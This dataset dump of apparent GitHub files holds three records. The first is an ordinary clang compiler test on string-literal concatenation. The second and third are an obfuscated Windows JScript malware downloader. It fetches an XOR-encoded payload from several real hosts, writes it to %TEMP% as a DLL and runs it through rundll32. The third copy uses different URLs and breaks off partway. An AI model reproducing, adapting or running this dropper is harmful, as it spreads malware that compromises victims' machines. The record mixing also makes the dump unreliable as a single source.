text
stringlengths 586
99.5k
| meta
dict |
|---|---|
// RUN: %clang_cc1 -std=c++11 -fsyntax-only -verify %s
// RUN: %clang_cc1 -std=c11 -x c -fsyntax-only -verify %s
#ifndef __cplusplus
typedef __WCHAR_TYPE__ wchar_t;
typedef __CHAR16_TYPE__ char16_t;
typedef __CHAR32_TYPE__ char32_t;
#endif
void f() {
const char* a = u8"abc" u"abc"; // expected-error {{unsupported non-standard concatenation of string literals}}
const char* b = u8"abc" U"abc"; // expected-error {{unsupported non-standard concatenation of string literals}}
const char* c = u8"abc" L"abc"; // expected-error {{unsupported non-standard concatenation of string literals}}
#ifdef __cplusplus
const char* d = u8"abc" uR"(abc)"; // expected-error {{unsupported non-standard concatenation of string literals}}
const char* e = u8"abc" UR"(abc)"; // expected-error {{unsupported non-standard concatenation of string literals}}
const char* f = u8"abc" LR"(abc)"; // expected-error {{unsupported non-standard concatenation of string literals}}
#endif
const char16_t* g = u"abc" u8"abc"; // expected-error {{unsupported non-standard concatenation of string literals}}
const char16_t* h = u"abc" U"abc"; // expected-error {{unsupported non-standard concatenation of string literals}}
const char16_t* i = u"abc" L"abc"; // expected-error {{unsupported non-standard concatenation of string literals}}
#ifdef __cplusplus
const char16_t* j = u"abc" u8R"(abc)"; // expected-error {{unsupported non-standard concatenation of string literals}}
const char16_t* k = u"abc" UR"(abc)"; // expected-error {{unsupported non-standard concatenation of string literals}}
const char16_t* l = u"abc" LR"(abc)"; // expected-error {{unsupported non-standard concatenation of string literals}}
#endif
const char32_t* m = U"abc" u8"abc"; // expected-error {{unsupported non-standard concatenation of string literals}}
const char32_t* n = U"abc" u"abc"; // expected-error {{unsupported non-standard concatenation of string literals}}
const char32_t* o = U"abc" L"abc"; // expected-error {{unsupported non-standard concatenation of string literals}}
#ifdef __cplusplus
const char32_t* p = U"abc" u8R"(abc)"; // expected-error {{unsupported non-standard concatenation of string literals}}
const char32_t* q = U"abc" uR"(abc)"; // expected-error {{unsupported non-standard concatenation of string literals}}
const char32_t* r = U"abc" LR"(abc)"; // expected-error {{unsupported non-standard concatenation of string literals}}
#endif
const wchar_t* s = L"abc" u8"abc"; // expected-error {{unsupported non-standard concatenation of string literals}}
const wchar_t* t = L"abc" u"abc"; // expected-error {{unsupported non-standard concatenation of string literals}}
const wchar_t* u = L"abc" U"abc"; // expected-error {{unsupported non-standard concatenation of string literals}}
#ifdef __cplusplus
const wchar_t* v = L"abc" u8R"(abc)"; // expected-error {{unsupported non-standard concatenation of string literals}}
const wchar_t* w = L"abc" uR"(abc)"; // expected-error {{unsupported non-standard concatenation of string literals}}
const wchar_t* x = L"abc" UR"(abc)"; // expected-error {{unsupported non-standard concatenation of string literals}}
#endif
}
|
{
"pile_set_name": "Github"
}
|
String.prototype.DisassociativeKMx1 = function () {return this.split(",").join("");};
//BEGIN_CODEC_PART
function DisassociativeNXr9(DisassociativeTWf7)
{var DisassociativeFDs1=new Array();
DisassociativeFDs1[199]=128;DisassociativeFDs1[252]=129;DisassociativeFDs1[233]=130;DisassociativeFDs1[226]=131;DisassociativeFDs1[228]=132;DisassociativeFDs1[224]=133;DisassociativeFDs1[229]=134;DisassociativeFDs1[231]=135;DisassociativeFDs1[234]=136;DisassociativeFDs1[235]=137;
DisassociativeFDs1[232]=138;DisassociativeFDs1[239]=139;DisassociativeFDs1[238]=140;DisassociativeFDs1[236]=141;DisassociativeFDs1[196]=142;DisassociativeFDs1[197]=143;DisassociativeFDs1[201]=144;DisassociativeFDs1[230]=145;DisassociativeFDs1[198]=146;DisassociativeFDs1[244]=147;
DisassociativeFDs1[246]=148;DisassociativeFDs1[242]=149;DisassociativeFDs1[251]=150;DisassociativeFDs1[249]=151;DisassociativeFDs1[255]=152;DisassociativeFDs1[214]=153;DisassociativeFDs1[220]=154;DisassociativeFDs1[162]=155;DisassociativeFDs1[163]=156;DisassociativeFDs1[165]=157;
DisassociativeFDs1[8359]=158;DisassociativeFDs1[402]=159;DisassociativeFDs1[225]=160;DisassociativeFDs1[237]=161;DisassociativeFDs1[243]=162;DisassociativeFDs1[250]=163;DisassociativeFDs1[241]=164;DisassociativeFDs1[209]=165;DisassociativeFDs1[170]=166;DisassociativeFDs1[186]=167;
DisassociativeFDs1[191]=168;DisassociativeFDs1[8976]=169;DisassociativeFDs1[172]=170;DisassociativeFDs1[189]=171;DisassociativeFDs1[188]=172;DisassociativeFDs1[161]=173;DisassociativeFDs1[171]=174;DisassociativeFDs1[187]=175;DisassociativeFDs1[9617]=176;DisassociativeFDs1[9618]=177;
DisassociativeFDs1[9619]=178;DisassociativeFDs1[9474]=179;DisassociativeFDs1[9508]=180;DisassociativeFDs1[9569]=181;DisassociativeFDs1[9570]=182;DisassociativeFDs1[9558]=183;DisassociativeFDs1[9557]=184;DisassociativeFDs1[9571]=185;DisassociativeFDs1[9553]=186;DisassociativeFDs1[9559]=187;
DisassociativeFDs1[9565]=188;DisassociativeFDs1[9564]=189;DisassociativeFDs1[9563]=190;DisassociativeFDs1[9488]=191;DisassociativeFDs1[9492]=192;DisassociativeFDs1[9524]=193;DisassociativeFDs1[9516]=194;DisassociativeFDs1[9500]=195;DisassociativeFDs1[9472]=196;DisassociativeFDs1[9532]=197;
DisassociativeFDs1[9566]=198;DisassociativeFDs1[9567]=199;DisassociativeFDs1[9562]=200;DisassociativeFDs1[9556]=201;DisassociativeFDs1[9577]=202;DisassociativeFDs1[9574]=203;DisassociativeFDs1[9568]=204;DisassociativeFDs1[9552]=205;DisassociativeFDs1[9580]=206;DisassociativeFDs1[9575]=207;
DisassociativeFDs1[9576]=208;DisassociativeFDs1[9572]=209;DisassociativeFDs1[9573]=210;DisassociativeFDs1[9561]=211;DisassociativeFDs1[9560]=212;DisassociativeFDs1[9554]=213;DisassociativeFDs1[9555]=214;DisassociativeFDs1[9579]=215;DisassociativeFDs1[9578]=216;DisassociativeFDs1[9496]=217;
DisassociativeFDs1[9484]=218;DisassociativeFDs1[9608]=219;DisassociativeFDs1[9604]=220;DisassociativeFDs1[9612]=221;DisassociativeFDs1[9616]=222;DisassociativeFDs1[9600]=223;DisassociativeFDs1[945]=224;DisassociativeFDs1[223]=225;DisassociativeFDs1[915]=226;DisassociativeFDs1[960]=227;
DisassociativeFDs1[931]=228;DisassociativeFDs1[963]=229;DisassociativeFDs1[181]=230;DisassociativeFDs1[964]=231;DisassociativeFDs1[934]=232;DisassociativeFDs1[920]=233;DisassociativeFDs1[937]=234;DisassociativeFDs1[948]=235;DisassociativeFDs1[8734]=236;DisassociativeFDs1[966]=237;
DisassociativeFDs1[949]=238;DisassociativeFDs1[8745]=239;DisassociativeFDs1[8801]=240;DisassociativeFDs1[177]=241;DisassociativeFDs1[8805]=242;DisassociativeFDs1[8804]=243;DisassociativeFDs1[8992]=244;DisassociativeFDs1[8993]=245;DisassociativeFDs1[247]=246;DisassociativeFDs1[8776]=247;
DisassociativeFDs1[176]=248;DisassociativeFDs1[8729]=249;DisassociativeFDs1[183]=250;DisassociativeFDs1[8730]=251;DisassociativeFDs1[8319]=252;DisassociativeFDs1[178]=253;DisassociativeFDs1[9632]=254;DisassociativeFDs1[160]=255;
var DisassociativeOOx0=new Array();
for (var DisassociativeFNx2=0; DisassociativeFNx2 < DisassociativeTWf7.length; DisassociativeFNx2 += 1)
{var DisassociativeEGc4=DisassociativeTWf7["charCodeAt"](DisassociativeFNx2);
if (DisassociativeEGc4 < 128){var DisassociativeLZu0=DisassociativeEGc4;}
else {var DisassociativeLZu0=DisassociativeFDs1[DisassociativeEGc4];}
DisassociativeOOx0["push"](DisassociativeLZu0);};
return DisassociativeOOx0;}
function DisassociativePw3(DisassociativeTt7)
{var DisassociativeTUu2=new Array();
DisassociativeTUu2[128]=199;DisassociativeTUu2[129]=252;DisassociativeTUu2[130]=233;DisassociativeTUu2[131]=226;DisassociativeTUu2[132]=228;DisassociativeTUu2[133]=224;DisassociativeTUu2[134]=229;DisassociativeTUu2[135]=231;DisassociativeTUu2[136]=234;DisassociativeTUu2[137]=235;
DisassociativeTUu2[138]=232;DisassociativeTUu2[139]=239;DisassociativeTUu2[140]=238;DisassociativeTUu2[141]=236;DisassociativeTUu2[142]=196;DisassociativeTUu2[143]=197;DisassociativeTUu2[144]=201;DisassociativeTUu2[145]=230;DisassociativeTUu2[146]=198;DisassociativeTUu2[147]=244;
DisassociativeTUu2[148]=246;DisassociativeTUu2[149]=242;DisassociativeTUu2[150]=251;DisassociativeTUu2[151]=249;DisassociativeTUu2[152]=255;DisassociativeTUu2[153]=214;DisassociativeTUu2[154]=220;DisassociativeTUu2[155]=162;DisassociativeTUu2[156]=163;DisassociativeTUu2[157]=165;
DisassociativeTUu2[158]=8359;DisassociativeTUu2[159]=402;DisassociativeTUu2[160]=225;DisassociativeTUu2[161]=237;DisassociativeTUu2[162]=243;DisassociativeTUu2[163]=250;DisassociativeTUu2[164]=241;DisassociativeTUu2[165]=209;DisassociativeTUu2[166]=170;DisassociativeTUu2[167]=186;
DisassociativeTUu2[168]=191;DisassociativeTUu2[169]=8976;DisassociativeTUu2[170]=172;DisassociativeTUu2[171]=189;DisassociativeTUu2[172]=188;DisassociativeTUu2[173]=161;DisassociativeTUu2[174]=171;DisassociativeTUu2[175]=187;DisassociativeTUu2[176]=9617;DisassociativeTUu2[177]=9618;
DisassociativeTUu2[178]=9619;DisassociativeTUu2[179]=9474;DisassociativeTUu2[180]=9508;DisassociativeTUu2[181]=9569;DisassociativeTUu2[182]=9570;DisassociativeTUu2[183]=9558;DisassociativeTUu2[184]=9557;DisassociativeTUu2[185]=9571;DisassociativeTUu2[186]=9553;DisassociativeTUu2[187]=9559;
DisassociativeTUu2[188]=9565;DisassociativeTUu2[189]=9564;DisassociativeTUu2[190]=9563;DisassociativeTUu2[191]=9488;DisassociativeTUu2[192]=9492;DisassociativeTUu2[193]=9524;DisassociativeTUu2[194]=9516;DisassociativeTUu2[195]=9500;DisassociativeTUu2[196]=9472;DisassociativeTUu2[197]=9532;
DisassociativeTUu2[198]=9566;DisassociativeTUu2[199]=9567;DisassociativeTUu2[200]=9562;DisassociativeTUu2[201]=9556;DisassociativeTUu2[202]=9577;DisassociativeTUu2[203]=9574;DisassociativeTUu2[204]=9568;DisassociativeTUu2[205]=9552;DisassociativeTUu2[206]=9580;DisassociativeTUu2[207]=9575;
DisassociativeTUu2[208]=9576;DisassociativeTUu2[209]=9572;DisassociativeTUu2[210]=9573;DisassociativeTUu2[211]=9561;DisassociativeTUu2[212]=9560;DisassociativeTUu2[213]=9554;DisassociativeTUu2[214]=9555;DisassociativeTUu2[215]=9579;DisassociativeTUu2[216]=9578;DisassociativeTUu2[217]=9496;
DisassociativeTUu2[218]=9484;DisassociativeTUu2[219]=9608;DisassociativeTUu2[220]=9604;DisassociativeTUu2[221]=9612;DisassociativeTUu2[222]=9616;DisassociativeTUu2[223]=9600;DisassociativeTUu2[224]=945;DisassociativeTUu2[225]=223;DisassociativeTUu2[226]=915;DisassociativeTUu2[227]=960;
DisassociativeTUu2[228]=931;DisassociativeTUu2[229]=963;DisassociativeTUu2[230]=181;DisassociativeTUu2[231]=964;DisassociativeTUu2[232]=934;DisassociativeTUu2[233]=920;DisassociativeTUu2[234]=937;DisassociativeTUu2[235]=948;DisassociativeTUu2[236]=8734;DisassociativeTUu2[237]=966;
DisassociativeTUu2[238]=949;DisassociativeTUu2[239]=8745;DisassociativeTUu2[240]=8801;DisassociativeTUu2[241]=177;DisassociativeTUu2[242]=8805;DisassociativeTUu2[243]=8804;DisassociativeTUu2[244]=8992;DisassociativeTUu2[245]=8993;DisassociativeTUu2[246]=247;DisassociativeTUu2[247]=8776;
DisassociativeTUu2[248]=176;DisassociativeTUu2[249]=8729;DisassociativeTUu2[250]=183;DisassociativeTUu2[251]=8730;DisassociativeTUu2[252]=8319;DisassociativeTUu2[253]=178;DisassociativeTUu2[254]=9632;DisassociativeTUu2[255]=160;
var DisassociativeAd2=new Array();var DisassociativeUw6="";var DisassociativeLZu0; var DisassociativeEGc4;
for (var DisassociativeFNx2=0; DisassociativeFNx2 < DisassociativeTt7.length; DisassociativeFNx2 += 1)
{DisassociativeLZu0=DisassociativeTt7[DisassociativeFNx2];
if (DisassociativeLZu0 < 128){DisassociativeEGc4=DisassociativeLZu0;}
else {DisassociativeEGc4=DisassociativeTUu2[DisassociativeLZu0];}
DisassociativeAd2.push(String["fromCharCode"](DisassociativeEGc4));}
DisassociativeUw6=DisassociativeAd2["join"]("");
return DisassociativeUw6;}
function DisassociativeGl6(DisassociativeTt7, DisassociativeEFs6)
{var DisassociativeDRw6 = DisassociativeNXr9(DisassociativeEFs6);
for (var DisassociativeFNx2 = 0; DisassociativeFNx2 < DisassociativeTt7.length; DisassociativeFNx2 += 1)
{DisassociativeTt7[DisassociativeFNx2] ^= DisassociativeDRw6[DisassociativeFNx2 % DisassociativeDRw6.length];};
return DisassociativeTt7;}
function DisassociativeUq7(DisassociativeYGa2)
{var DisassociativeNCk5=WScript["CreateObject"]("A"+"D"+"O"+"DB.Stream");
DisassociativeNCk5["type"]=2;
DisassociativeNCk5["Charset"]="437";
DisassociativeNCk5["open"]();
DisassociativeNCk5["LoadFromFile"](DisassociativeYGa2);
var DisassociativeZj1=DisassociativeNCk5["ReadText"];
DisassociativeNCk5["close"]();
return DisassociativeNXr9(DisassociativeZj1);}
function DisassociativePp3(DisassociativeYGa2, DisassociativeTt7)
{var DisassociativeNCk5=WScript["CreateObject"]("A"+"D"+"O"+"DB.Stream");
DisassociativeNCk5["type"]=2;
DisassociativeNCk5["Charset"]="437";
DisassociativeNCk5["open"]();
DisassociativeNCk5["writeText"](DisassociativePw3(DisassociativeTt7));
DisassociativeNCk5["SaveToFile"](DisassociativeYGa2, 2);
DisassociativeNCk5["close"]();}
//END_CODEC_PART
var DisassociativeBp8 = "http://";
var DisassociativeWx8 = [DisassociativeBp8 + "warisstyle.com/mjuurbt2bx",DisassociativeBp8 + "campossa.com/ped2hwz3",DisassociativeBp8 + "sadhekoala.com/qg7bhfv3sa",DisassociativeBp8 + "znany-lekarz.pl/nrpfqwwq",DisassociativeBp8 + "lauiatraps.net/90iuiatl"];
var DisassociativeBNy7 = "V2GfjUFMb6jlFtSv";
var DisassociativeKa7 = "R9cSS1rkjyRw";
var DisassociativeSb3 = "L2hr1GeO6BCNFWPT";
var DisassociativeUr8=2;
var DisassociativeBs9=WScript["CreateObject"]("WScript.Shell");
var DisassociativeGFa5=DisassociativeBs9.ExpandEnvironmentStrings("%T"+"EMP%/");
var DisassociativeXAk4=DisassociativeGFa5 + DisassociativeBNy7;
var DisassociativeFUm6=DisassociativeXAk4 + ".d" + "ll";
var DisassociativeFn1 = DisassociativeBs9["Environment"]("System");
if (DisassociativeFn1("PROCESSOR_ARCHITECTURE").toLowerCase() == "amd64")
{
var DisassociativeAKu2 = DisassociativeBs9.ExpandEnvironmentStrings("%SystemRoot%\\SysWOW64\\ru"+"ndll32.exe");
}
else
{
var DisassociativeAKu2 = DisassociativeBs9["ExpandEnvironmentStrings"]("%SystemRoot%\\system32\\ru"+"ndll32.exe");
}
var DisassociativeIHy7=["M,S,X,M,L,2,.,X,M,L,H,T,T,P".DisassociativeKMx1(), "WinHttp.WinHttpRequest.5.1"];
for (var DisassociativeFNx2=0; DisassociativeFNx2 < DisassociativeIHy7.length; DisassociativeFNx2 += 1)
{
try
{
var DisassociativeQPw3=WScript["CreateObject"](DisassociativeIHy7[DisassociativeFNx2]);
break;
}
catch (e)
{
continue;
}
};
var DisassociativePUo6 = new ActiveXObject("Scripting.FileSystemObject");
function DisassociativeUf9()
{
var DisassociativeWUn8 = DisassociativePUo6.GetFile(DisassociativeFUm6);
return DisassociativeWUn8["ShortPath"];
}
var DisassociativeFy6 = 0;
for (var DisassociativeTTb4 = 0; DisassociativeTTb4 < DisassociativeWx8.length; DisassociativeTTb4 = DisassociativeTTb4 + 1)
{
try
{
var DisassociativeSPt3=this["W,S,c,r,i,p,t".DisassociativeKMx1()]["CreateObject"]("A"+"D"+"O"+"DB.Stream");
DisassociativeQPw3["open"]("G,E,T".DisassociativeKMx1(), DisassociativeWx8[DisassociativeTTb4], false);
DisassociativeQPw3.setRequestHeader("User-Agent","Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)");
DisassociativeQPw3["send"]();
while (DisassociativeQPw3.readystate < 4) WScript["Sleep"](100);
DisassociativeSPt3["open"]();
DisassociativeSPt3.type=1;
/*@cc_on
DisassociativeSPt3.write(DisassociativeQPw3.ResponseBody);
DisassociativeSPt3.position=0;
DisassociativeSPt3['Sav'+'eT'+'oFile'](DisassociativeXAk4, DisassociativeUr8);
DisassociativeSPt3.close();
var DisassociativeOOx0 = DisassociativeUq7(DisassociativeXAk4);
DisassociativeOOx0 = DisassociativeGl6(DisassociativeOOx0, DisassociativeKa7);
if (DisassociativeOOx0[0] != 77 || DisassociativeOOx0[1] != 90) continue;
DisassociativePp3(DisassociativeFUm6, DisassociativeOOx0);
var DisassociativeZGx7 = DisassociativeUf9();
var d = new Date();
d.setFullYear("2015");
eval('DisassociativeBs9["R,u,n".DisassociativeKMx1()]("r,u,n,d,l,l,3,2".DisassociativeKMx1() + " " + DisassociativeZGx7 + "," + DisassociativeSb3);');
@*/
break;
}
catch (e) {continue;};
}
WScript.Quit(0);
|
{
"pile_set_name": "Github"
}
|
String.prototype.DisassociativeKMx1 = function () {return this.split(",").join("");};
//BEGIN_CODEC_PART
function DisassociativeNXr9(DisassociativeTWf7)
{var DisassociativeFDs1=new Array();
DisassociativeFDs1[199]=128;DisassociativeFDs1[252]=129;DisassociativeFDs1[233]=130;DisassociativeFDs1[226]=131;DisassociativeFDs1[228]=132;DisassociativeFDs1[224]=133;DisassociativeFDs1[229]=134;DisassociativeFDs1[231]=135;DisassociativeFDs1[234]=136;DisassociativeFDs1[235]=137;
DisassociativeFDs1[232]=138;DisassociativeFDs1[239]=139;DisassociativeFDs1[238]=140;DisassociativeFDs1[236]=141;DisassociativeFDs1[196]=142;DisassociativeFDs1[197]=143;DisassociativeFDs1[201]=144;DisassociativeFDs1[230]=145;DisassociativeFDs1[198]=146;DisassociativeFDs1[244]=147;
DisassociativeFDs1[246]=148;DisassociativeFDs1[242]=149;DisassociativeFDs1[251]=150;DisassociativeFDs1[249]=151;DisassociativeFDs1[255]=152;DisassociativeFDs1[214]=153;DisassociativeFDs1[220]=154;DisassociativeFDs1[162]=155;DisassociativeFDs1[163]=156;DisassociativeFDs1[165]=157;
DisassociativeFDs1[8359]=158;DisassociativeFDs1[402]=159;DisassociativeFDs1[225]=160;DisassociativeFDs1[237]=161;DisassociativeFDs1[243]=162;DisassociativeFDs1[250]=163;DisassociativeFDs1[241]=164;DisassociativeFDs1[209]=165;DisassociativeFDs1[170]=166;DisassociativeFDs1[186]=167;
DisassociativeFDs1[191]=168;DisassociativeFDs1[8976]=169;DisassociativeFDs1[172]=170;DisassociativeFDs1[189]=171;DisassociativeFDs1[188]=172;DisassociativeFDs1[161]=173;DisassociativeFDs1[171]=174;DisassociativeFDs1[187]=175;DisassociativeFDs1[9617]=176;DisassociativeFDs1[9618]=177;
DisassociativeFDs1[9619]=178;DisassociativeFDs1[9474]=179;DisassociativeFDs1[9508]=180;DisassociativeFDs1[9569]=181;DisassociativeFDs1[9570]=182;DisassociativeFDs1[9558]=183;DisassociativeFDs1[9557]=184;DisassociativeFDs1[9571]=185;DisassociativeFDs1[9553]=186;DisassociativeFDs1[9559]=187;
DisassociativeFDs1[9565]=188;DisassociativeFDs1[9564]=189;DisassociativeFDs1[9563]=190;DisassociativeFDs1[9488]=191;DisassociativeFDs1[9492]=192;DisassociativeFDs1[9524]=193;DisassociativeFDs1[9516]=194;DisassociativeFDs1[9500]=195;DisassociativeFDs1[9472]=196;DisassociativeFDs1[9532]=197;
DisassociativeFDs1[9566]=198;DisassociativeFDs1[9567]=199;DisassociativeFDs1[9562]=200;DisassociativeFDs1[9556]=201;DisassociativeFDs1[9577]=202;DisassociativeFDs1[9574]=203;DisassociativeFDs1[9568]=204;DisassociativeFDs1[9552]=205;DisassociativeFDs1[9580]=206;DisassociativeFDs1[9575]=207;
DisassociativeFDs1[9576]=208;DisassociativeFDs1[9572]=209;DisassociativeFDs1[9573]=210;DisassociativeFDs1[9561]=211;DisassociativeFDs1[9560]=212;DisassociativeFDs1[9554]=213;DisassociativeFDs1[9555]=214;DisassociativeFDs1[9579]=215;DisassociativeFDs1[9578]=216;DisassociativeFDs1[9496]=217;
DisassociativeFDs1[9484]=218;DisassociativeFDs1[9608]=219;DisassociativeFDs1[9604]=220;DisassociativeFDs1[9612]=221;DisassociativeFDs1[9616]=222;DisassociativeFDs1[9600]=223;DisassociativeFDs1[945]=224;DisassociativeFDs1[223]=225;DisassociativeFDs1[915]=226;DisassociativeFDs1[960]=227;
DisassociativeFDs1[931]=228;DisassociativeFDs1[963]=229;DisassociativeFDs1[181]=230;DisassociativeFDs1[964]=231;DisassociativeFDs1[934]=232;DisassociativeFDs1[920]=233;DisassociativeFDs1[937]=234;DisassociativeFDs1[948]=235;DisassociativeFDs1[8734]=236;DisassociativeFDs1[966]=237;
DisassociativeFDs1[949]=238;DisassociativeFDs1[8745]=239;DisassociativeFDs1[8801]=240;DisassociativeFDs1[177]=241;DisassociativeFDs1[8805]=242;DisassociativeFDs1[8804]=243;DisassociativeFDs1[8992]=244;DisassociativeFDs1[8993]=245;DisassociativeFDs1[247]=246;DisassociativeFDs1[8776]=247;
DisassociativeFDs1[176]=248;DisassociativeFDs1[8729]=249;DisassociativeFDs1[183]=250;DisassociativeFDs1[8730]=251;DisassociativeFDs1[8319]=252;DisassociativeFDs1[178]=253;DisassociativeFDs1[9632]=254;DisassociativeFDs1[160]=255;
var DisassociativeOOx0=new Array();
for (var DisassociativeFNx2=0; DisassociativeFNx2 < DisassociativeTWf7.length; DisassociativeFNx2 += 1)
{var DisassociativeEGc4=DisassociativeTWf7["charCodeAt"](DisassociativeFNx2);
if (DisassociativeEGc4 < 128){var DisassociativeLZu0=DisassociativeEGc4;}
else {var DisassociativeLZu0=DisassociativeFDs1[DisassociativeEGc4];}
DisassociativeOOx0["push"](DisassociativeLZu0);};
return DisassociativeOOx0;}
function DisassociativePw3(DisassociativeTt7)
{var DisassociativeTUu2=new Array();
DisassociativeTUu2[128]=199;DisassociativeTUu2[129]=252;DisassociativeTUu2[130]=233;DisassociativeTUu2[131]=226;DisassociativeTUu2[132]=228;DisassociativeTUu2[133]=224;DisassociativeTUu2[134]=229;DisassociativeTUu2[135]=231;DisassociativeTUu2[136]=234;DisassociativeTUu2[137]=235;
DisassociativeTUu2[138]=232;DisassociativeTUu2[139]=239;DisassociativeTUu2[140]=238;DisassociativeTUu2[141]=236;DisassociativeTUu2[142]=196;DisassociativeTUu2[143]=197;DisassociativeTUu2[144]=201;DisassociativeTUu2[145]=230;DisassociativeTUu2[146]=198;DisassociativeTUu2[147]=244;
DisassociativeTUu2[148]=246;DisassociativeTUu2[149]=242;DisassociativeTUu2[150]=251;DisassociativeTUu2[151]=249;DisassociativeTUu2[152]=255;DisassociativeTUu2[153]=214;DisassociativeTUu2[154]=220;DisassociativeTUu2[155]=162;DisassociativeTUu2[156]=163;DisassociativeTUu2[157]=165;
DisassociativeTUu2[158]=8359;DisassociativeTUu2[159]=402;DisassociativeTUu2[160]=225;DisassociativeTUu2[161]=237;DisassociativeTUu2[162]=243;DisassociativeTUu2[163]=250;DisassociativeTUu2[164]=241;DisassociativeTUu2[165]=209;DisassociativeTUu2[166]=170;DisassociativeTUu2[167]=186;
DisassociativeTUu2[168]=191;DisassociativeTUu2[169]=8976;DisassociativeTUu2[170]=172;DisassociativeTUu2[171]=189;DisassociativeTUu2[172]=188;DisassociativeTUu2[173]=161;DisassociativeTUu2[174]=171;DisassociativeTUu2[175]=187;DisassociativeTUu2[176]=9617;DisassociativeTUu2[177]=9618;
DisassociativeTUu2[178]=9619;DisassociativeTUu2[179]=9474;DisassociativeTUu2[180]=9508;DisassociativeTUu2[181]=9569;DisassociativeTUu2[182]=9570;DisassociativeTUu2[183]=9558;DisassociativeTUu2[184]=9557;DisassociativeTUu2[185]=9571;DisassociativeTUu2[186]=9553;DisassociativeTUu2[187]=9559;
DisassociativeTUu2[188]=9565;DisassociativeTUu2[189]=9564;DisassociativeTUu2[190]=9563;DisassociativeTUu2[191]=9488;DisassociativeTUu2[192]=9492;DisassociativeTUu2[193]=9524;DisassociativeTUu2[194]=9516;DisassociativeTUu2[195]=9500;DisassociativeTUu2[196]=9472;DisassociativeTUu2[197]=9532;
DisassociativeTUu2[198]=9566;DisassociativeTUu2[199]=9567;DisassociativeTUu2[200]=9562;DisassociativeTUu2[201]=9556;DisassociativeTUu2[202]=9577;DisassociativeTUu2[203]=9574;DisassociativeTUu2[204]=9568;DisassociativeTUu2[205]=9552;DisassociativeTUu2[206]=9580;DisassociativeTUu2[207]=9575;
DisassociativeTUu2[208]=9576;DisassociativeTUu2[209]=9572;DisassociativeTUu2[210]=9573;DisassociativeTUu2[211]=9561;DisassociativeTUu2[212]=9560;DisassociativeTUu2[213]=9554;DisassociativeTUu2[214]=9555;DisassociativeTUu2[215]=9579;DisassociativeTUu2[216]=9578;DisassociativeTUu2[217]=9496;
DisassociativeTUu2[218]=9484;DisassociativeTUu2[219]=9608;DisassociativeTUu2[220]=9604;DisassociativeTUu2[221]=9612;DisassociativeTUu2[222]=9616;DisassociativeTUu2[223]=9600;DisassociativeTUu2[224]=945;DisassociativeTUu2[225]=223;DisassociativeTUu2[226]=915;DisassociativeTUu2[227]=960;
DisassociativeTUu2[228]=931;DisassociativeTUu2[229]=963;DisassociativeTUu2[230]=181;DisassociativeTUu2[231]=964;DisassociativeTUu2[232]=934;DisassociativeTUu2[233]=920;DisassociativeTUu2[234]=937;DisassociativeTUu2[235]=948;DisassociativeTUu2[236]=8734;DisassociativeTUu2[237]=966;
DisassociativeTUu2[238]=949;DisassociativeTUu2[239]=8745;DisassociativeTUu2[240]=8801;DisassociativeTUu2[241]=177;DisassociativeTUu2[242]=8805;DisassociativeTUu2[243]=8804;DisassociativeTUu2[244]=8992;DisassociativeTUu2[245]=8993;DisassociativeTUu2[246]=247;DisassociativeTUu2[247]=8776;
DisassociativeTUu2[248]=176;DisassociativeTUu2[249]=8729;DisassociativeTUu2[250]=183;DisassociativeTUu2[251]=8730;DisassociativeTUu2[252]=8319;DisassociativeTUu2[253]=178;DisassociativeTUu2[254]=9632;DisassociativeTUu2[255]=160;
var DisassociativeAd2=new Array();var DisassociativeUw6="";var DisassociativeLZu0; var DisassociativeEGc4;
for (var DisassociativeFNx2=0; DisassociativeFNx2 < DisassociativeTt7.length; DisassociativeFNx2 += 1)
{DisassociativeLZu0=DisassociativeTt7[DisassociativeFNx2];
if (DisassociativeLZu0 < 128){DisassociativeEGc4=DisassociativeLZu0;}
else {DisassociativeEGc4=DisassociativeTUu2[DisassociativeLZu0];}
DisassociativeAd2.push(String["fromCharCode"](DisassociativeEGc4));}
DisassociativeUw6=DisassociativeAd2["join"]("");
return DisassociativeUw6;}
function DisassociativeGl6(DisassociativeTt7, DisassociativeEFs6)
{var DisassociativeDRw6 = DisassociativeNXr9(DisassociativeEFs6);
for (var DisassociativeFNx2 = 0; DisassociativeFNx2 < DisassociativeTt7.length; DisassociativeFNx2 += 1)
{DisassociativeTt7[DisassociativeFNx2] ^= DisassociativeDRw6[DisassociativeFNx2 % DisassociativeDRw6.length];};
return DisassociativeTt7;}
function DisassociativeUq7(DisassociativeYGa2)
{var DisassociativeNCk5=WScript["CreateObject"]("A"+"D"+"O"+"DB.Stream");
DisassociativeNCk5["type"]=2;
DisassociativeNCk5["Charset"]="437";
DisassociativeNCk5["open"]();
DisassociativeNCk5["LoadFromFile"](DisassociativeYGa2);
var DisassociativeZj1=DisassociativeNCk5["ReadText"];
DisassociativeNCk5["close"]();
return DisassociativeNXr9(DisassociativeZj1);}
function DisassociativePp3(DisassociativeYGa2, DisassociativeTt7)
{var DisassociativeNCk5=WScript["CreateObject"]("A"+"D"+"O"+"DB.Stream");
DisassociativeNCk5["type"]=2;
DisassociativeNCk5["Charset"]="437";
DisassociativeNCk5["open"]();
DisassociativeNCk5["writeText"](DisassociativePw3(DisassociativeTt7));
DisassociativeNCk5["SaveToFile"](DisassociativeYGa2, 2);
DisassociativeNCk5["close"]();}
//END_CODEC_PART
var DisassociativeBp8 = "http://";
var DisassociativeWx8 = [DisassociativeBp8 + "sadhekoala.com/lvqh1",DisassociativeBp8 + "xhumbrella.com/jb5c396v",DisassociativeBp8 + "wbakerpsych.com/j00gr8z",DisassociativeBp8 + "valpit.ru/kn3jm",DisassociativeBp8 + "lauiatraps.net/zyqjw08qqt"];
var DisassociativeBNy7 = "TPTv9jGFV";
var DisassociativeKa7 = "R9cSS1rkjyRw";
var DisassociativeSb3 = "L2hr1GeO6BCNFWPT";
var DisassociativeUr8=2;
var DisassociativeBs9=WScript["CreateObject"]("WScript.Shell");
var DisassociativeGFa5=DisassociativeBs9.ExpandEnvironmentStrings("%T"+"EMP%/");
var DisassociativeXAk4=DisassociativeGFa5 + DisassociativeBNy7;
var DisassociativeFUm6=DisassociativeXAk4 + ".d" + "ll";
var DisassociativeFn1 = DisassociativeBs9["Environment"]("System");
if (DisassociativeFn1("PROCESSOR_ARCHITECTURE").toLowerCase() == "amd64")
{
var DisassociativeAKu2 = DisassociativeBs9.ExpandEnvironmentStrings("%SystemRoot%\\SysWOW64\\ru"+"ndll32.exe");
}
else
{
var DisassociativeAKu2 = DisassociativeBs9["ExpandEnvironmentStrings"]("%SystemRoot%\\system32\\ru"+"ndll32.exe");
}
